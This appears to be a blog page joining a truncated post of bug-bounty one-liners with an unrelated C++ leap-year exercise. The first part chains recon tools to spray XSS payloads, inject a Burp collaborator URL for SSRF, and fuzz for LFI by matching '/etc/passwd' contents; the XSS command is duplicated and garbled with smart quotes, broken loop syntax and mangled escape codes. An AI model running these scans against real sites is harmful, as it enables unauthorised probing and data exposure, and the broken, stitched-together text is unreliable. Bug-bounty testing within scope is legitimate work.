Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

Leaf year or not using Function in OOP C++

 Q:  Write a function, which accept a year value as argument; display the message if the year is prime otherwise display that year is not a leap year. Write a main program which will call the function by passing a year value the function.


Ans::: 

#include <iostream>

using namespace std;


bool leapYear(int y);


int main(){

   int y;

   cout<<"Enter year: ";

   cin>>y;

   //Calling function

   bool flag = leapYear(y);

   if(flag == true)  

      cout<<y<<" is a leap Year"; 

   else 

      cout<<y<<" is not a leap Year";

   return 0;

}

bool leapYear(int y){

   bool isLeapYear = false;

   if (y % 4 == 0) {

      if (y % 100 == 0) {

         if (y % 400 == 0) {

            isLeapYear = true;

         }

      } 

      else isLeapYear = true;

   }

   return isLeapYear;

}

Comments

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C